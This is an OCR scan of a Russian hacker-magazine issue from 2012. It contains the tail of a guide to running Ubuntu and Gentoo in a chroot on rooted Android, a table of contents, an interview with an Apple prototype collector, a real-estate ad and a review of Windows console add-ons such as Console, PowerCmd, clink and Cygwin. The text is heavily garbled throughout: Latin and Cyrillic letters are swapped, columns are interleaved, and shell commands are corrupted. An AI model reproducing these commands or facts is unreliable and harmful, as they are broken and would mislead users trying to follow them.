Собственно, на этом установка заканчивается. Теперь можно запускать консольный софт, производить обновление системы, стартOвать сетевые сервисы и делать пOчти все, что можно сделать с обычной десктопной Liпuх-системой, не забывая, конечно, что некоторый соф1 напрямую взаимодействующий с железом и различными специализированными псевдодевайсами, работать не будет, Также не забываем, что виртуальные ФС после завершения работы следует размонтировать. Теперь нам необходимо установить и запустить Х-сервер Xvnc, экспортирующий дисплей и устройства ввода с использованием протокола VNC. ТightVNСsегчеr уже есть в представленном образе и даже настроен, но, чтобы ты лучше понял процесс и смог решить возникшие проблемы, я подробно опишу процесс его устанOвки и запуска. 1. 06новляемся и устанавливаем ТightVNСsеrчеr:

действии

,Д,алее надо смонтировать образ и сделать сhгооt в окружение дистрибутива.,Щля этого нужны права гооt, прошивка с поддержкой блочных lоорЬасk-устройств и установленный busybox lищем в Маркете по запросу <busybox iпstаllег>, в СуапоgепМоd есть по умолчанию). Последовательность действий: 1. 0ткрывае}i э1,1улятор терiilинала в Andгoid [если нет, ilожно установить из Маркета Terminal Еmчlаtоrl. Либо подключаем смартфон/планшет к компу и получаем доступ к терминалу с по-

#

2. Создаем #!

"Настройки

-

!ля разработчиков

iсеWm

э

0тладка

gпеу

ХК L_XMODMAP_DISAB

L

Е=1

&

3.

Третья команда здесь нужна, чтобы пофиксить проблемы, которые могут возникнуть из-за физического отсутствия на устройстве клавиатуры. 3апускаем Xvnc с по}itоlцью враппера чпсsеrчеrс правами root:

f

$su

ехрогt USЕR=гооt # чпсsеrчег -gеоmеtrу 7О24хаОО

Создаем блочноеlоорЬасk-устройство,подключаемкнемуо6РаЗДИСКа И 1,i|ОНТИРУеМ еr0:

В результате выполнения последней команды на экран будет выведен запрос на пароль для доступа к VNC-cepBepy, лучше

# mknod /dev/block/Ioop255 Ь 7 255 # mount -о геmоuпt,гW / f nkdiг /mnt/ubuntu # mount -о loop,noatime -t ext2 \ /sdcaгd/ubuntu. lmg /mnt/ubuntu

4.

пишеt4 в него следуюцее:

lxsession

2. Получаемправаrооt:

3.

и

/bin/sh

ехрогt

Не забываем, что режим отладки в этом случае должен быть >.

файл /root/.vnc/xstartup

xsetroot -solid

$ cd путь-до-Апdгоid-sDК/рlаtfогm-tооls $ Sudo ./adb she}1 включен:

instal1 ti8htчпсsеrvег

хгdЬ $НOМЕ/.ХпеSочгсеs

мощью adb:

And гоid

apt-get update

# apt-get

4.

Содержимое образа должно появиться в каталоге /sdсагd/ ubuntu. Проверь, чтобы это было так. Подключаем всенеобходиtiыедля работыдшстрибутивавиртуальные ФС: # mount # mount # mount

-t рrос ргос /mпt,/чЬчпtu/рrос -t sysfs sysfs ,/mnt,/ubuntu/sys 1,1ожно

было по-

# sysctt :W net.ipv4.ip*fonwand=1 # echo кпаmеsеrчег 8.8.8.8D > /mnt/ubuntu/etc/гeso].v.conf * echo (паmеsегчег 8.8.4.4D >> /mnt/ubuntu/etc/ геsоlч. conf # echo (127.0.0.1 localtostD > /mnt,/ubuntu/etc/hosts

хдкЁр

09

l164l2a12

Чтобы не заморачиваться с ручным вводом всех команд, можно использовать скрипт ubuntu.sh, расположенный здесь: goo.gllxSpK4. Просто положи его и образ ubuntu.img в каталог ubuntu на SD-Kapтe и запусти скрипт командой Sh ubuntu,sh, а через 5-10 секунд подключись к рабочему столу с помощью АпdгоidVNС. Имей в виду, что скрипт монтирует образ к каталогу /data/l ос

-о bind /dev /mnt/ubuntu/dev

Настраиваем так, чтобы из сhrооt-окружения лучить полноценный доступ в Сеть:

указать что-нибудь простое вроде <123>. Разрешение можно установить фактически любое, однако лучше, если оно будет совпадать с физическим разрешением экрана устройства, Устанавливаем на сtlартфон приложение AndroidVNC, запуcKae..r его, указы Baetl l Р-адрес и порт 5901, подключаеllся. На экранедолжен появиться рабочий стол LXDE.

а

l/m nt.

Итак, мы установили Ubuntu с помоцью образа с файловой системой и шаманств с lоорЬасk-устройством и сhгооt-окружением. Сделать это оказалось несложно, а с применением скриптов так и вообще очень легко, но что, если пойти дальше и установить более хардкорный дистрибутив, и не �� использованием образов, а на выделенный ехt2-раздел на карте памяти? Так мы сможем решить проблему некоторых прошивок и ядер без поддерхки lоорЬасk-устройств и к тому же сможем насладиться нормальным дистрибутивом, установленным по всем правилам.


COVERSTORY Возьмем в качестве подопытной системы Gепtоо. Чтобы установить его на ехt2-раздел, нам понадобится карта памяти объемом не меньше 2 Гб и рутованный смартфон с установленным busybox, Последовательность действий такова: 1. flелаембэкапданныхскартыпа}.iяти исоздаеi{ нанейдополнительны й раздел, объемон не меньше двух гигабайт. Сделать это можно с помощью любой программы для разбивки дисков, однако иN4ей в виду, что если ты хочешь продолжать использовать SDка рту п о п ря м о му наз нач ен и ю, то созда вать tАТЗ2-раздел следует в начале карты, так, чтобы он стал первым, а дополнительный раздел для установки дистрибутива должен быть вторым.

2. Форilатируеi{ разделы SD-карты: $ sudo mkfs.vfat /dev/sdc]. $ sudo mkfs.exl2 /dev/sdcz

3.

4.

Беремтелефон,заходиtlв<(НастройкиэOтелефоне))исl,iiотриl.{, какой установлен процессор, flалее п ереходи м н а стра н и цу glq gl/PRfux и выкачиваем stаgе3для нужной архитектуры, например ежит в каталоге cu ггепt-stаg еЗ -агmч7а, l.{онтируеr.r ехt2-раздел карты паl,ilяти на коипе и распаковываe}.l в нег0 сOдержиt{ое пOлученного архива: stаgеЗ для ARM v7

л

$ sudo nount /dev/sdc2 /ппt $ sudo tаг -xxpf StаgеЗ-*.Ьz2 -С /mпt

5.

Сразу редактируем конфиги и все, что нужно, по вкусу, включая правку /еtс/геsоlч.сопf по образцу из предыдущего раздела. 3апускаем эмулятор терминала (или выполняем <adb shell>l, rtонтируем все необходи1,{ое и переходиtt в сhrооt |почти так же.

каквслучаесUЬчпtчl:

* mount -о геmоuпt,гW /

# mkdiг /mnt/gentoo # mount /dev/block/mmcblk0p2 /mnt/gentoo # mount -t ргос ргос /mnt/ubuntu/pnoc

# # # #

mount mount

-t sysfs sysfs

,/mnt/ubuntu/sys

-о bind /dеV /mnt/ubuntu/dev

SySct1 -W пеt.iрV4.iр_fогwагd=1 chnoot ,/mnt/gentoo

[оступ к рабочему столу производится таким же способом, как в Ubuntu, за исключением того, что теперь прямо на телефоне придется собрать кучу софта :J. Впрочем, можно настроить среду для кросс-компиляции на компе, но это уже тема для отдельной статьи.

п ЗапустивtUЬuпtu

с использованием VNC-cepBepa, ты заметишь неторопливость его работы, которая связана с издержками протокола VNC на передачу картинки (<по сети>). Чтобы избежать этой

проблемы, можно установить Ubuntu в качестве основной системы рядом с Апdгоid, так, чтобы она смогла использовать видеоадаптер напрямую. К сожалению, универсального способа сделать это не существует. Каждое устройство по-своему уникально, включая различные таблицы разделов NАND-памяти, на которую производится установка, различные устройства и драйверы для их работы. К счастью, процесс установки нативной версии дистрибутива хорошо описан для многих устройств в русскоязычных форумах, поэтому найти инструкцию будет несложно. Стоит, тем не менее, сразу обратить внимание на несколько особенностей такого типа установки: 0тдельный или основной NАND-раздел. Liпuх-дистрибутив может бытьустановлен как в заблаговременно созданный раздел в NАND-памяти, так и в основной загрузочный раздел. В первом случае разработчик прошивки обычно оставляет возможность загрузки Апdгоid с помощью специального скрипта либо через загрузку Liпuх-дистрибутива в режиме восстановления, во втором он будетустановлен *вместо*Апdгоid и для возвращения возможности загрузки робота придется заново перепрошиватьустройство, Если Liпuх-дистрибутивбудет Возможностьдвойнойзагрузки. установлен на отдельный раздел, разработчик может оставить возможность за грузк и Ап d гоid, 0дна ко сто ит сразу обратить в н и -

.

.

н ие, ка к эта за грузка п рOи сходит: с п 0м0 щь ю режи ма вOсста новления либо скрипта, запускаемого с обычного компа. Все-таки второй способ будет неудобен в дороге. Поддержка оборудования. 0ригинальное Liпчх-ядро Апdгоidпрошивки уже включает в себя все необходимыедрайверы, которые могут понадобиться для работы полноценной Liпuх-системы, одна ко дал еко н е во всех Lin u х- п ро ш ивках все за ведется са мо

ма

.

собой. Часто возникают проблемы сWi-Fi-адаптером и сенсорным экраном, который неадекватно реагирует на прикосновения. Поэтому передустановкой прошивки стOит вни}пательно прочитать информацию о возможных осложнениях, В любом случае будь готов к тому, что во время установки Linuxдистрибутива все твои данные будут уничтожены. Без этого никак.

Liпuх-дистрибутив, установленный рядоь4 с оригинальной Апdгоidсистемой, может стать очень удобным рабочим инструментом, однако на данный MoMeHT.Linux внутри Апdrоid" считается скорее игрушкой и способом покрасоваться перед друзьями, нежели серьезным решением. Уверен, что в скором времени, когда для Апdгоid появится полноценная реализация графического сервера Wayland, ситуация начнет меняться и мы увидим дистрибутивы с адаптированным для небольших экранов интерфейсом. а также полноценные Linuxприложения, распространяемые в форме обычных АРК-пакетов. Такв его рамках же не стоит забывать о проекте <Ubuntu fог Апdгоid" идет работа над официальным портом Ubuntu для Апdгоid, который позволит использовать смартфон в качестве переносного системника, подключаемого к любому монитору.

-

Е

r

прOвЕркА рАБOты

О goo,gUlJQ0e3 0писание процес(а

НЕОБХОДИМЫХ МOДУЛЕЙ

образа Ubuntu

Имей в виду, что поддержка lоорЬасk-устройств и файловых систем ехt2/ехtЗ, необходимых

для подключения образа, имеется далеко не во всех ядрах Linux, установленных на смартфонах под управлением Android. Проверить наличие поддержки можно с помоlцью команды lsmod l 9гер -е loop -e ext2.

-

подготовки

собственныffи

силами lHa ахглийском|.

,N хлкЕ?

09 /1ь1,/ 2012


Ргеviеw

страниц на одной полосе. Тизер некоторых статей. 26

PcZONE

З8

прOтOтипы 0TAPPLE Игровая консоль, компьютер со встроен-

-

ным фа ксом, платежный терми нал что у этих п редметов? Правил ьно, всё

общего

-

п родукты Аррlе, которы е та к ни когэто да и не попал и на ры нок. ][ пообщал ся с коллекциOнерOм, специализирующимся

на прототипах

"яблочнойrтехники,

и

одготовил для тебя рассказ о сам ых интересн ых экспонатах. Как показывает п

истOрия, мOжет настать мOмент, кOгда Аррlе реш ит вернуться к одвой из сволх идей , *та к уже получ илось с пла ншета ми и ТВ-п риста вкам и. 0днако, п рочита в этот репортаж, ты уже не будеш ь удивляться, есл и в Купертино вдруг решат за

ново изобрести, скажем, факс. Всё это

уже где-то было.

PczONE

11

жизньвкOнсOлиWlilDOws Сmd.ехе-этонедиагноз,сэтимвполне можно и нужно бороться. Как именно,ты узнаешь из обзора различных надстроек для стандартной консоли Windows.

взлOм

в3л0].{

48

знАк01,1ься, эт0 tlARKDOwt{ Метаязыкверсткинавсеслучаижизни позволиттебе писать статьи, вести блог и

создавать целые сайты с помощью

прOстOгOтекстOвOг0

редактOра,

57

С^ГА 0 КРИПТОСТОЙКИХ ПАРОЛЯХ Статья

о том, как за щитить хеш и паролеей отбанального брутфорса на дешевой видеокарте и не наступать на теже грабли, что и Linkedln.

1,1ALWARE

t7 тт

66

sOL_инъЕкции чЕрЕз Dlls Авторsqlmаррассказываетотом,как с

помOщью ег0 дети ща и выделеннOго

произвOдить слепые инъекции за намног0 меньшее время.

сер вера можн о

хдкЁр

09 11b/.l

2g12

FЕ5тl:злоБный

и

БЕ(тЕлЕсный

Рассматри ваем под микроскопом руткит Festi, известный инструмент для проведения спам-рассылок и D DoS-aTaK.

пойнАй }iЕня. Если сможЕшь 0писаниетехнологии, способной сокрыть файлы руткита от сигнатурных проверокантивирусов вусловиях Windows 7 и выше.


рсzоNЕ

Евгений (РiпkегаtоrD Колпаков lЗ.]4пkеrаtогВgmаi

.coml

.i!

Прототипьl r,,? -__

a ?-_-

--

,1 \/\

-_/

,l998-2000

"

0кА3ЬlВАЕтся, В яБлочнOи кO]t{пАНии рАзрАБOтАли нЕ тольк0 IPHONE, l},lAc и IPAD! Apple стремительно овладевает умами пользователей. И ладно бы пользователей даже в нашем журнале, оплOте хардкора и цитадели здрав0мыслия, почти все пересели на аЙфоны, а у нашего Step'a

так и вOвсе в наличии имеется MacBook! Наверное, и у тебя что-то такOе есть, пOэтому мы подготовили тебе не обзор новогЬ аЙфона и его многочисленных убийц, а кое-что покруче; список прототипов от компании AppleI 038

Большая часть из представленных прототипов хранятся в частной коллекции,Д,жима Эбелса {Jim Abeles]. Мы связались с ним и попросили рассказать 0 ег0 кOллекции.

fЕ: 3дравствуйте, [жим!

Расскажите о себе - где х<ивете, где работаете, чем эаниtqаетесь? J. А.: Я живу в Портленде, штат 0регон, где управляю компанией Рrе1 Sоftwаге, которую основал в конце 90-х. Когда вы начали коллекционировать про=!: тотипы от Apple? Какилl был самый первый экспонат в коллекции? J. А.:.Мой первый lt4acintosh был подарком родителей к окончанию колледжа, Это был Macintosh SE с двумя флоппи-дисководами, но без внутреннего жесткого диска. Было бы тOгда мOя кOллекция здOрOв0 сOхранить ег0 мотла начаться еце в 1987 году. К сожалению, т0- кOмпью-ер я давн0 прOдал,

Примерно в 2001 году мне снова захотелось увидеть на столе Macintosh SE и я купил один из них просто для развлечения. Затем я прио6рел Macintosh Plus, и в какой-то момент люди прOст0 начали принOсить мне свOи старые lrуас-компьютеры. П рошло некоторое время, пои я пOнял, что хочу чего-то большего лучить действительно необычные продукты от Аррlе в свою коллекцию. ,Д,ля начала я rашел раритетный вариант Bell & Howe l Apple ll, который в lаOоде прозвали Dагth Vаdеr [gээ-сtL/ТYхqч). Затем в коллекцию добавилась Аррlе Lisa 1 с двумя дисководами под 5,25", и дело стало набирать обо роты,

В какой-то момент я столкнулся с самыми редкими мOделями - прототипами. Как правило, это были серьезно ограниченные выпуски устройств, число которых могло быть меньш�� десятка в0 всем мире. При этом часть протOтипOв п0 разным причинам не дOживала д0 официального выпуска в продажу.

хлкЕр

09 /1ьц/ 2012


Прототипы

:Ei

Все ли они работаю1 или часть прототипов не включается?

пOдарить их мне.

!ругие, к счастью, работают, и в них хорошо заметн0 прикоснOвение руки прOграммистOв и инженеров Apple. Некоторые из прототипов iPhone'oB, iPad'oB и iPod'oB содержат программное обеспечение, которое не было рассчитано на публичный показ. В нем хорошо прOслеживается индивидуальнOсть и даже чувство юмора создателей.

Е:

Вы коллекционируете

Apple или другие

только продукцию

фир}.|ы тоже интересны?

J. А.: Какое-то время я коллекционировал и неяблочные прототипы. а также необычные компьютеры вроде ll,/SAl 8080 и Аltаiг 8080, но меня они не сильно привлекали. Плюс от всей этой техники дома стало тесновато. НагрOмождение старых компьютерOв, принтеров и периферии становилось пугающим. Теперь в моей коллекции только прототипы от Аррlе и 0тнOсящихся к ее истории компаний вроде NeXT (которую Джобс основал после ухода из Applel или Ве lпсогрогаtеd lкомпания бывшего исполнительного директора Аррlе Соmрutеrs Жана-Луи Гассье, создатели BeOS].

Е:

Что у вас еGть интересного в коллекции? Расскаlt<ите про cart ые энач иl.i ые экспонаты. J. А.: flля меня самые ценные прототипы устройств -те, что так и не поступили в продажу. Концепты вроде W.A.L,T. lWizzy Active Lifetyle Tablet как раз такой весной продали за 8000 долларов на еВау). Bic Newton и Cadillac Newton, Самое интересное, что все это мобильные устройства. Вот почему я люблю их сильнее других именно эти

-

-

-

прототипы были прадедушками знаменитых iphone и ipad.

-

В чем отличия от финальных версий в ц8ете корпуса или вы замечали что-

=: просто

то интересное внутри? J.А.з Самые необычные

- это прототипы с прозрачными корпусами. 0ни позволяли инженерам видеть, как компоненты нового устройства сочетаются внутри корпуса. Какие места сильнее греются, а где пробежала искра все это могло повлиять на финальную форму корпуса и расположение деталей на печатных платах. Также в своих прототипах Apple использовала разноцвётные печатные платы, а многие элементы внутри были подписаны вручную.

-

Надпись.прототип>

или предупредительная

табличка, что устройство не было одобрено ЕСС [Федеральная комиссия по свЯзи) и не предназначено для продажи, это обычное дело,

-

х^кЕр 09/164lrп12

Т: Какой из прототипов

fE: Перед сi{ертью Стив Джобс

не успел закончить работу над телевизороlil нового поколения. Как вы думаете что получится иэ этой идеи и как будет выrлядеть новыЙ продукт? Интеграция с iOS, запуск игр на больlлоl,{ экране или что-то больщее? J. А.: Xal Хотел бы я знать. lr4He кажется, это будет светодиодный телевизор с iOS и управлением через Siгi. Apple уже доминирует на рынке музыки и сотовых телефонов, но пока не добралась до рынка телевизоров и домашних развлечений. Я надеюсь, она добьется успеха, а я пOлучу в коллекцию парOчку нOвых пр0тOтипов, выскользнувших на волю из яблочнь х лабораториЙ.

-

был саlilыl,ii дороги}l.

сколько вы обычно платите за них и где покупаете через еВау? Быть может, какой-то из прототипов вам просто подарили? J. А.: Некоторые экземпляры стоят очень доцены доходят до тысяч долларов! Но рого мне частенько везет. Есть множество бывших сотрудников Аррlе, которые продают мне прототипы за смешные деньги.,Д,ля них важна не прибыль они просто хотят, чтобы устройства пOпали в руки к коллекционеру, который может о них позаботиться. Чтобы частички истории Аррlе не ушли в небытие. 0дин из самых ценных прототипов Apple Paladin мне бесплатно отдал бывший инженер из Аррlе. Вообще, если говорить об источниках, часть коллекции я купил на еВау, часть на Сгаigslist, что-то удалось отыскать среди

-

-

-

-

Ар ple

-

ко

м

ью

н

ити.

ti

Рассках(ите про прототип игровой приот Apple. Удалось ли Bal.i во что-нибудь на Hei{ поиграть? J. А.: fla, я включал Pippin и даже играл на нем| Прошло уже пять лет с того момента, и сейчас я даже не вспOмню ег0 технические характеристики. Если честно, понятно, почему эта приставка провалилась. Oна была дико устаревшей уже на мOмент выхOда и сOвершенн0 непривлекательной по сравнению с конкурентами. Oна выглядела просто ужасно и тормозила!

ставки Pippin

Е:

Что иэ актуальных продуктов Apple lHe прототиповl вы используете? Или. l,,|ожет быть, даже пользуетесь чем-то из своей коллекции прототипов? J.А.з Единственный прототип, которым я пользуюсь, это РоwегМас G4 Тоwег. Использую его как домашний сервер для музыки и фильмов. В остальном я стараюсь покупать последние новинки от Apple: 17" MacBook Рго для дома и работы, пара Аррlе TV, iPhone 45 и iPad 2.

-

Фотографии публикуются с разрешения Jim Abeles, Рге1 Sоftwаге. Часть фотографий публикуется с разрешения Вruсе Dаmег, DigiВагп Соmрutег Mu5eum [digibarn,com/col ections/index,htm ). Автор фотографий прототипа iPad пользователь aaps69 с еВау.

-

Есть ли какой-то прототип, который вам на данный liloi{eHT можно считать заверЩенной? J. А.: Я бы хотел найти Macintosh SE в прозрачном корпусе. Как и другие подобные прототипы, кOмпьютер дOлжен существOвать примерно в десяти экземплярах. Этот экземпляр особенн0 важен для меня именно эта модель была моим первым Аррlе-компьютером. Здесь в 0регоне хранится один такой у бывшего инженера из Аррlе, но он просит 5000 долларов, а я сейчас не могу себе позволить такие траты.

=: хочется найти, или коллекцию

-

Е:

Не дуiiаете ли вы о возrtожности открыть муэей Apple в будушем? J. А.: Когда-нибудь я надеюсь открыть свой музей, где люди смогут посмотреть и даже

Apple

пOтрогать все эти прототипы. Сейчас у меня больше ста устройств в коллекции, и доtr,lа пр0сто нет подходящей комнаты, чтобы сделать выставочный зал. Большинство из них просто лежат в коробках, и это совсем не похоже на музейные условия. В Калифорнии уже есть компьютерный музей, и я надеюсь, что в какой-то момент откроют такой же музей в Портленде, бы с удовольствием выставлял в нем свOю коллекцию.

J. А.: Печально, но некоторые из самых раритетных экземплярOв даже не включаются. Быть может, именно поэтому их хозяева решили избавиться от ненужного желеэа и

На мокент написания статьи, Jim Abeles работал в своей фирме, которую lЗ лет назад основал. А на момент сдачи ее в печатьон...ушел lз фирмы итеперь работаетофицером полиции

от

.(


Pczol{E

Apple lnteractive TeIevision

Apple Cadillac Прототип в прозрачном корпусе. Зто сейчас Аррlе занимает лидирующие позиции в секторе мобильных устройств, а ведь когда-то она только начинала экспериментиров это время !жобс не работал вать в этой области. Прототип датирован ']992 годом в Apple и разработка устройств шла без его участия. Именно поэтому можно заметить их на дух не переносил.,Ща и съемные на корпусе Cadillac прорезь для стилуса -,Д,жобс аккумуляторы на мобильных устройствах при нем сложно вспомнить.

Прототип этой приставки для просмотра ТВ достаточно массово тестировали в США и Европе в 1994-1995 годах. В итоге его быстро свернули, и сейчас многие продают свои прототипы через еВау. Устройство получило развитие только в 2007 году и в настоящее время продается под названием Аррlе TV.

-

Apple W.A.L.T. ltUizzy Active

Lifestyle

Telephonel Apple iPhone 2G

t

0чередной эксперимент среди электронных устройств. Аррlе впервые продемонстрировала его на Масwогld Boston в 199З году, но так никогда и не выпустила в продажу, По идее, его нужно было подключать к телефонной линии и использовать в роли <умного, телефона. 0пять же подразумевалOсь управление при пOмOщи стилуса.

Apple ilеwtоп Bic -

Еще один шаг на пути к созданию iPad 1994 год. Все еще со стилусом, все еще с0 сменными истOчниками питания. кожаный чехол. вместо smагt Сочеr

-


Прототипы

от

Аррlе

iPad Прототип первого iPad, который внезапно всплыл весной этого года на еВау. Устройство поставлялось без аккумулятора, да и внешний вид слегка отличался от финального варианта. Главная особенность-у планшета было сразу один, классический, два пOрта для зарядки снизу и еще один сбоку. Логика такого решения дOвольно простая устройство можно за-

ряжатьи

-

в гOризOнтальнOм

и ввертикальном

положении так, чтобы провод не мешал рукам. Вместо знакомой iOS мы видим на экране тестOвую прошивку для проверки всех функций устройства.

Прототип нашел своего нового владельца за 10 200 долларов.

Apple РоwеrВооk 5300 На корпусе можно заметить пометки (прототип>, а сам в тот момент назывался <РоwеrВооk ХХХХ>.

ноутбук

l

ý.

Apple Раlаdiп Прототип офисной мечты, В нем собрали практически все копир и даже -телефон, факс, компьютер. Внешняя клавиатура с трекболом в кOмплекте.

I

}-liko

это совместная разработка Apple и King, Ее название _ сокращение от MaclnsidekingOutside. Изображенное на картинке устройство это прототип терминала вроде платежных Qiwi, которые сейчас стоят практически s каждом магазине. наличие тачскрина, полноценная операционная система Мас os и необычная ве6камера за пределами кOрпуса вот ее главные особенности. Если учесть, что сейчас Apple лостепенно скрешивает Мас 0s и ios, то управление Мас os при помощи пальцев скоро cHoBd может стать реальностью. Miko

,i*a"

-

о, trro, rn

-

,

-


дlпшtrнtrп ит

ипотЕкА кМонолит

плюсD

активно

работает

с веду-

lцими банками по программам ипотечнок) крqдитования. Особое внимание уделяется правовой заlциtценности клиентов, приобретателей жилья и нежиль]х помеlцений.

микрорАЙон Nе4 городА королЕвА _ это пять новых соврЕмЕн ньж м ногоэтА)(ньlх змн иЙ с подзЕп/lны ми АвтостоянкАми. оБlцАя плоlцАдь домов _ l4o ооо кв.м., пЕрвыЕ этА)lш ��удут отвЕдЕны для оБъЕктов социАльно БЫТОВОГО НА3НАЧЕНИЯ: МАГА3ИНЫ, АПТЕКИ, ПРЕДПРИЯТИЯ БЫТА, МЕДИЦИНСКИЕ УЧРЕЖДЕНИЯ.

ll

Дll

ДОПОЛНИТЕЛЬНУЮ ИНФОРiiАЦИЮ О ПРОДАЖЕ КВАРТИР В ЖК tНА ВЫGОТЕu ]io)t(Ho получить в оФисЕ промж ко1,1пАнии смонолпт плюGя

_


КОМПАНИЯ (МОНОЛИТ ПЛК)Gп (ВХОДИТ В СОСТАВ

группы компАниЙ кМоllоЛl,tТlll прЕдстАвляЕт ЖИЛОЙ

КОМПЛЕКС

КНА ВЫСОТЕD,

РАСПОЛОЖЕННЫЙ

ПРАКТИЧЕСКИ В ЦЕНТРАЛЬНОЙ ЧАGТИ ГОРОМ

королЕвА _ мкр.4 в грАниIцх ул. мАтросовА, ул. строитЕлЕЙ, ул. дЕшБристов.

Микрорайон Ns4 - географический центр г. Королёва, Строительство домов ведётся по индивидуальному проекry. В шаговой досryпности от данного адреса находится гипермаркеты и супермаркеты известных брендов (Перекрёсток, Ковчег и т.д.), а так же предприятия сфер услу[ досуговые центры (кафе, рестораны), и центральный floM кульryры.

-sы

Уже давно Королев имеет славу города, где можно получить очень качественное образование: обилие специализированных школ, творческих центров и школ искусств, богатые фонды библиотек, известные Вузы в черте города - все это определяет атмосферу научной сосрегорожан.

и

творчества

.l,/:t..,_rr..": 1ц1,-

}п 9: ,llll rr] _il llll ;i_3 lдl-tiil JllI

сайте www.gk-monolit.ru

доточенности

lFl 1r l 1,,lit, п'r !г: lil д*

Пýп

С подробными схемами планировок квартир и проектной декларацией можно ознакомиться на

I1

ýlb:-

l 'll

ffiffiffi :il,

$l

]

]

]

,,,,:

]

]

х

'J

il

i,

I

1

I

iT

|,

]

J

п

i] .3

.t}.

,$

'il,

т

Дrr

H""ýffiH,"'jla:'o]

г' коРолЕв'

(495) 516-40_04


=-?.

'': ?,э!.#1 fi":"iщa, :

|

:'

,

| |!

i..|.

1,-"1,

Pczol{E

reньвKoHCorIи,.. АпгрЕЙдьl для c},lD.ExE и АльтЕрнАтивьl Windows неудобна. В ней нет нормального copy-paste, поменять размер окна. Кроме того, в самой даже windows маловато консольных инструментов, и любители текстового режима, возможно, захотят получить доступ к мощному окружению UNlX. Щля этого тоже есть свои решения.

стандартная коN4андная строка нет возможности по-человечески нет вкладок и

Будем честны

хАкЕР 0'

/]/./.i 20]2


жизнь

f

iсгоsоft не сильно заботит судьба командной строки. Оно и понятно: для большинства людей это совершенно бесполезная часть системы. К счастью, есть энтузиасты, не поленившиеся превратить стандатный cmd.exe в инструмен1 который действительно можно использOвать.

сONSOLE

рlOжно сOздАвАть прЕд_ НАСТРOЕННЫЕ ВКЛАДКИ И п рописывАть KOpl БинАци и к01.{АНд, KOTOPЬIE БУдУт BblполнЕны при их 0ткрьlтии

.

sоuгсеfогgе.пеt/ргоjесts/сопsоlе Сперва рассмотрим решения для тех, кто выживает под командной строкой windows, но при этом не испытывает нужды связываться с виртуализацией или +пiх-утилитамиl а главное не желает платитьI Словом, начнем с самого простого и доступного. Проект с незамысловатым названием Сопsоlе, пожалуй, самая крутая и функциональная разработка для оптимизации cmd в Windows на данный момент. В отличие от родной оболочки системы. console призвана быть удобной, понятной и предусматривает все те мелOчи, кOтOрых мнOгим так не хватает, например, после работы с Linux или Мас, Нагляднее всего будет просто перечислить ключевые фишки

.

софти н ы: Можно создавать множество вкладок командной строки окне, с индикацией активности фоновой вкладки.

. .

. . . . .

в

платно. Заметим, что, поработав с Сопsоlе хотя бы раз, уже сложно представить себе работу без нее. К сожалению, некоторые пользо-

ватели жалуются на скорость работы программы. кстати, для тех, кто больше доверяет платным и серьезным решениям, есть очень похожая на console альтернатива роwегсmd (роwегсmd.соm). По console и

-

функциональности роwегсmd схожи, только у последней различных (свистелок>

одном

.

удобств еще больше:

lr4ожноналетуизменятьразмерокна, какхочется,текстбудет автOматически подгоняться под новый размер. Имеется функция copy-paste, а значит, можно спокойно копипастить информациютуда-сюда, как в обычном текстовом редакторе (выделить мышью нужный фрагмент можно, зажав клавишу

.

строить их сглажи

на

ва

н

ие

в

плоть до

Сl еа

гТуре,

интерфейса: меняется фон,

щрифты, нумеруются

Можнозапоминатьразмерокнаипозициюнаэкране-при

каждоt{ запуске конфигурация будетта, что нужна пользователю. прозрачность окна также имеется и настраивается, но реализована страннO-в0 мнOгих случаяхтекстстановится нечитаемым. Работают всевозможные комбинации клавиш, которые можно

0днозначно оправдать ценник в З0 долларов у Роwегсmd я не при желании console можно расщирить до нужного уровня, да и упирается все в кOнечном счете в конкретные потребности

настроить под себя. Можносоздаватьпреднастроенные вкладки и прописыватькомбинации команд, которые будут выполнены при открытии данной вкладки, Есть возможность подключения других интерпретаторов (bash и прочие) -а значит, и запускать сценарии на этих языках.

могу-

п

0л ьз

0вател я.

CLlNK iin

k

к самым простым апгрейдам можно отнести еще один совсем маленький хак 0реп sоuгсе утилиту clink, которая способна значительн0 расширить возможности интерпретатора командной строки cmd.exe. ,Щело в том, что clink использует библиотеку

разумеется, это далеко не полный перечень того, что умеет Console, но остальные нюансы лучше познавать на деле, тем более чт0 прOграмма распространяется свободно и совершенно бес-

-

lёJl-1 ltbi' aоп5о

console

-

хлкЕр

о9 l1b1,1 2012

*ьl*аБ

g pcIelsbe

бесплатная

и

продуtrанная д0 йелочей альтернатива

Фв -mЕпЕfrЕЕ

родной консоли

нетолько

виде вкладок, но и в виде областей одного экрана. При этом м 0жн0 разм естить до четы рех те рм и налов. lйожновестилоги вводимых коl,.4анд, искатьпо ним. Можно запоминать пути и папки в виде избранного с занесением в

. . избранныезакладки. Предусмотрены различные настройки изменяются . Поддерживается автодололнение.строки. .,Щ,оступна подсветка синтаксиса. . Естьвозможностьзапоминатьактивныесессии.

вставить-черезтулбар или через менюl. Естьвозможностьвыбиратьлюбойиздоступныхдля консоли ифтов и

Сильнаясторона-возможностьрасполагатьконсоли

и

в

<Shift>, а ш р

в консоли windows

--,_rEЁ ш rii.aEOt

]Е*щ

,il, @ф о, @р l*

Ебъьq

по сравненхю с console, powercmd имеет множество дополнхтельных плюще(


PcZONE геаdliпе, которая создана и поддерживается в рамках прOекта GNU и обеспечивает интерфейс командной строки и обработку строк в bash. После установки clink интерпретатор cmd.exe фактически ведет себя как командная оболочка bash со всеми ее продвинутыми функциями: автодополнением командной строки, редактированием,-историей команд и так далее. Перечислять весь список новых возможностей cmd не стану, приведу только некоторые особенности: удобное автодополнение путей {нажатием .TABrJ; вставкаизбУфераобмена (постандартномухоткею:<Сtгl>-Vl; поддержка автодополнения при указании исполняемых файлов/ кOманд и переменных 0кружения; . функции Undo/Redo l<Сtгl>- или <Сtгl>-Х, <Сtгl>-UJ; улучшенная история командной строки; сохранение предыдущих сессий;

. .

.

. . . . .

поиск по истории (<сtгl>-R и <Ctrl>-S]; расширенная история {например, !!, !<stгiпg< и !$]; скрипты автодополнения на Lua, позволяюu]ие серьезн0 сэкOномить время.

cyqwin

с

запуlценным xclock

и

}.lidпight Соmmапdеr

CYGWlN сYgrryц.с-а!0

Ну и в заключение хотелось бы напомнить тебе о еще одном полезнейшем инструменте, хотя его и нельзя назвать <простой оптимизацией сmd".,Д,анное решение пригодится тем, кто желает объединить возможности Linux и Windows, или тем, кто по какимто причинам не может установить Liпuх на своем компе, но в нем

